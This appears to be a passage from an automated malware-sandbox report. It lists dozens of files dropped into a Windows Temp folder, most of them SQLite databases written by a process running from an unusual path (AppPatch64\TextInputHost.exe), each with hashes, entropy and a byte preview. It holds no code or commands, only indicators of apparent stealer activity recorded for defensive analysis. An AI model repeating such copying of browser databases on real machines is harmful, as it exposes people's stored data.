SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MlsO52pQ5Q

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\N3Lzg7etNQ

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NEeMo55ePO

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NMxRtHrB0u

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NmtUZE9CFH

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NtTVI6NHs8

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Nvl8Hz59Is

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OfPQjBtiUs

Download File

Process:	C:\MsComponentSvc\hyperServer.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.133660689688185
Encrypted:	false
SSDEEP:	3:UdVoN2ihM:UdaNHhM
MD5:	BB133777283E2291C50A2C83F1263395
SHA1:	492FD9EBEDAE7263762710A74368F3000BA988A3
SHA-256:	756BFFDB8E47DB94DB127893C422DB8976EDF846BF222A6EEBA03E58FFDA6F03
SHA-512:	B598EA69717A29307544C9CC2FF235970229BB49C84E56C1BD66F94E48D00A7C4C6BAF2F7BC245BDDBF05292EB44EC5F48BCEBCA81DBF36D889F32F43C10E3FB
Malicious:	false
Preview:	nTTyllvUD1TLFqKcASSrWmyor

C:\Users\user\AppData\Local\Temp\OnNmblBriW

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\P3YUkTWP7D

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\P5YDGr73ig

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PB8TaFFbC3

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PBvMPZfOcd

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PlBDiahWJh

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QStZQar3gT

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Qe5NT0t1Qy

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Qh0aC2xpC2

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QlFqLxNRsz

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\R3QPExJ2mA

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RHSVrLJb7s

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RdRU6B4g5v

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Rh1OGJonlV

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RuPIQt3HGH

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RwqKCxypP8

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Rwuz9OTTBA

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SANC6TdYEd

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

